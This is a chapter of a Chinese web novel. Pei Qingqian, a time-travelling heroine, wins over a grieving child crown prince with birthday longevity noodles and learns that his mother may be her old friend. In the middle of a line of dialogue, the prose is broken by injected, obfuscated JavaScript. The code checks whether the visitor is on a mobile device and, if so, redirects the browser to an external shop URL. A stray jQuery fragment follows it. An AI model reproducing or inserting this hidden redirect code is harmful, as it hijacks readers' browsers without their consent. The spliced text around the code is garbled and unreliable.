守在门口的宫人都认识晏元深,恭敬喊了声“晏大人”,什么也没问就让他们进去。
一踏进宫门,她才敢抬头看看四周,眼神里充满好奇。
原来东宫太子的宫殿,是长这个样子的啊。
心里不停感叹着,一时没注意走在前面的晏元深已经停下脚步,她就这么直愣愣的一脑袋撞到他后背。
后方被人突袭,晏元深被向前迈出两大步,这才堪堪稳住身形。
“为何都围在太子寝殿门外,出了什么事?”
站在离门口最近的太监总管大宝看到晏元深,仿佛像是遇到了救星,小跑着到他面前,将不久前发生的事情说了一遍。
原来今日是太子殿下的生辰,御膳房那边送来的早膳里面,就有一碗奴才特意叮嘱的长寿面。
可不知是怎的,太子殿下一看到这碗面,脸色瞬间沉了下来。
他不仅把桌上饭菜全都打翻,还将宫女太监给赶了出来,把自己一个人锁在房间里面。
任他们在外面怎么喊,里面都没人回应。
“晏大人,您快想想办法吧。平日里太子还能跟您说上两句话,要不您去门口试试?”
大宝一脸祈求,晏元深心里也有些担心,抬脚便要上前。
身后裴卿浅一把拽住他的衣角,一副有话说的样子。
晏元深瞥了大宝一眼,大宝很有眼色地退后,视线却一直停留在女扮男装的裴卿浅身上。
只见她在小声跟晏元深说着什么,为了听得清楚,两人之间挨得很近。
听完她的话,晏元深转过头对大宝道:“大宝公公,带我们去一趟东宫小厨房。”
“哦哦,好。”大宝动作慢了半拍,遣散门口一大群人,只留了两个宫女在外守着,自己则是带着晏元深和裴卿浅去厨房。
“这个小厨房平常只是用来做一些糕点,和一些简单吃食,怕是没有什么太多的工具,不知道晏大人是要?”
晏元深神色淡冷,“跟公公无关的事情,还是不要过多打听。”
大宝碰了个软钉子,只能笑着点点头,再不敢多嘴。
裴卿浅跟在后头,心底默默同情大宝公公三秒钟,锦衣卫指挥使大人,可从来不是个好说话的主儿。
来到厨房门口,大宝又在晏元深的眼神示意下,把厨房所有人都赶了出去。
包括他自己。
还有跟着出来,守在门外的晏元深。
大宝在那抓耳挠腮,后边还是小声问道:“晏大人,您带进来的这位姑娘,她的身份您可清楚?”
他伺候的可是太子,宫里顶顶尊贵之人,不能出一丁点儿差错。
晏元深知道裴卿浅的女子身瞒不住这位阅历丰富的大宝公公,神情平静说道:“你放心,她不会伤害太子。”
大宝悄悄松了口气,想了想又问道:“晏大人,这位姑娘是哪家小姐?”
晏元深没有隐瞒,“裴家。”
裴家?
大宝低着头陷入沉思,想了想京城里姓裴的官员有哪些?家中还有着尚未出嫁的女儿?
还没等他将人给一一匹配,不远处大门冷不丁被打开,裴卿浅迎面走了出来。
她右手拎着一个食盒,脚边上还放着两个。
晏元深上前拿起放在地上的食盒,后头的大宝公公慢了一步,只得厚着脸皮,伸手想接过裴卿浅手里的食盒。
“裴小姐,给老奴拿着就行。”
裴卿浅一惊,转过头看了晏元深一眼,眼神惊疑不定。
大宝笑着解释:“裴小姐放心,老奴肯定不会泄露您的身份。”
瞧见晏元深微微颔首,裴卿浅面容恢复如常,却并没有将手中食盒递出去。
“多谢公公,这个也不重,我自己拎着就行。还请公公您带路,我们现在回去找太子殿下。”
“裴小姐客气,这都是老奴该做的。”大宝脸上笑意加深,随后走在前面给二人领路。
“裴小姐,您这食盒里面,可是给太子殿下准备的吃食?”
“是的,大宝公公。”裴卿浅笑着点头,“公公不必担心,我知道宫里的规矩,一定等您验过没问题后,再给太子殿下食用。”
大宝公公眼角褶子加深,“唉,老奴多谢裴小姐体谅。”
在两人简单聊了几句,他们很快又一次回到太子寝殿门口。
得知屋子里还是什么动静也没有,大宝便让门口那两位宫女也离开。
裴卿浅小心揭开食盒盖,从里面端出一碗长寿面,汤底色泽金黄,香味扑鼻。
“咦~这里面红色片状物是什么?上面好像还刻着字?”大宝拿着随身携带的银针逐一检查。
虽说银针显示没毒,可这没见过的东西,他根本不敢让太子殿下吃啊。
裴卿浅上前解释着:“公公,这原材料是胡萝卜,通过小刀在上面刻了字。这几个字拼凑在一块儿,便是【生日快乐】。”
大宝公公似懂非懂地点点头,想着晏大人是个谨慎性子,他都没说什么,想必的确没问题。
他小心端起那碗面,按照裴卿浅给的法子,沿着门缝让香气飘入屋内。
等了半刻钟的时间,大宝公公胳膊都有些发酸,可眼前的这扇门却纹丝不动,一点都没有要打开的动静。
大宝转过头,对着裴卿浅干巴巴地说道:“裴小姐,太子好像并不想吃您做的这碗面?”
裴卿浅挠了挠头,指了指晏元深拎着的食盒,语气里透着不确定,“要不用那两份再试试?”
大宝公公刚想点头,却听见晏元深的声音,“不用。太子殿下,还请您开门。”
耳力敏锐如他,早已经察觉到太子此时与他们只有着一门之隔。
屋内那人似是听到声响,没过一会儿,就看见一双小手慢慢将门打开。
大宝公公看小祖宗总算肯出来,高兴的差点当场掉眼泪。
站在门口的小孩,长约五尺,一袭墨绿长袍,金纹暗绣,脸有着出远超年龄的成熟与稳重
他从一出来,视线就没从那碗面上挪开,眼眶渐渐泛红,“这碗面,是给我准备的吗?”
大宝忙不迭点头,“太子殿下,今日是您的生辰,这碗长寿面就是特意给您准备的。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775346|204838||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
嗯,谢谢大宝公公。”
太子乖乖道谢,拿起筷子便大口大口吃了起来,瞧着像是饿了许久的流浪汉,第一次吃到这么美味的食物。
裴卿浅自看到太子殿下第一眼起,就吓了一大跳。
不知是不是太过思念的缘故,她竟然觉得太子长得跟好友徐菀几乎一模一样。
那大大的眉眼、高挑的鼻梁,放在一张完全不认识的人脸上,却跟徐菀那么相像。
前头上一秒还在认真吃面的太子,下一秒忽然眼泪大颗大颗落下,直直落入碗里,惹得旁人心底发酸。
吃完最后一口面,他就连一口汤也没剩下。
大宝看了看手中空落落的碗,眼神里满是不可思议。
这还是那个吃肉只吃瘦肉、吃面不喝汤、从不喝粥、蔬菜只吃菜叶子,挑食到达极限的主子吗?
还没从这一打击中反应过来,又看见小主子盯着晏大人手上食盒,一副可怜巴巴的样子。
大宝只觉实在不忍直视,想着要不要提醒一二,后面想想还是算了。
晏元深朝太子摇头,目光落在裴卿浅所在地方。
顺着他的视线,太子也朝她看过来,眼角还余留着未干的泪水。
裴卿浅感觉心都要融化了,可那还未完全沦陷的理智告诉她:现在还不行。
“太子殿下,剩下的这些礼物,需要等皇上来了才能打开哟。”
晏元深眉头紧蹙,“你昨天只跟我说要找太子,没说还需要皇上露面。”
“我昨天一激动就忘了。”裴卿浅不好意思地吐了吐舌头,她没敢说,自己也是在不久前才知道的。
她小心翼翼问道:“是不是皇上很忙,没空过来啊?要实在不行,也……”
“他有空。”太子出声打断她,转过头看向大宝,“大宝,你现在就去传话,让他务必在半个时辰内赶过来。”
大宝公公面露难色,“殿下,御书房离咱这有些距离,奴才怕皇上半个时辰根本赶不过来。”
太子看了眼裴卿浅,裴卿浅秒懂他的眼神,迅速回应道:“一个时辰内赶到就行。”
见自家主子没说话,大宝忙应声退下,撒腿就朝御书房跑去。
太子并不认识裴卿浅,好奇问道:“你是谁?刚才那碗面是你做的?”
裴卿浅心底早已准备好说辞,对着他行了官眷礼仪,“臣女是当朝裴御史家的小女儿裴卿浅,刚刚给殿下送进去的那碗面,臣女是用家中厨娘教的法子做出来。”
太子在听见她的名字时,整个人明显愣了一下,随后眼底迸发出强烈的惊喜,“裴姨,我知道你,我妈妈跟我提起过你。”
裴卿浅才刚穿过来一年,怎么可能会认识太子的母亲?
她第一反应就是太子认错人了,“殿下,您可能认错人了,臣女并不认识殿下的母亲。”
“不可能,我娘从不骗我,她说她最好的朋友就叫裴卿浅。”
看着面前这张跟好友如出一辙的脸,裴卿浅的心脏开始不受控制地狂跳,一个非常疯狂的念头出现在她脑子里。
“你妈妈……她叫什么名字?”